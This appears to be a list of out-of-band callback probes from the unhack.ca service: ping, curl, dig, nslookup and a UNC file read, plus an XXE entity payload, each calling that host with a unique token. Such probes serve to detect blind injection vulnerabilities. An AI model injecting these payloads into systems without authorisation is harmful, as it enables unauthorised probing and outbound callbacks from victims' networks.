$ ping -c1 -p 007486fb9c6a91e790676d29ce53a000 unhack.ca
 

$ curl http://unhack.ca/p/7486fb9c6a91e790676d29ce53a0
 

$ dig 7486fb9c6a91e790676d29ce53a0 @unhack.ca
 

$ dig 7486fb9c6a91e790676d29ce53a0.ns.unhack.ca
 

C:\> nslookup 7486fb9c6a91e790676d29ce53a0 unhack.ca
 

C:\> type \\unhack.ca\7486fb9c6a91e790676d29ce53a0\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7486fb9c6a91e790676d29ce53a0">]>
    <foo>&xxe;</foo>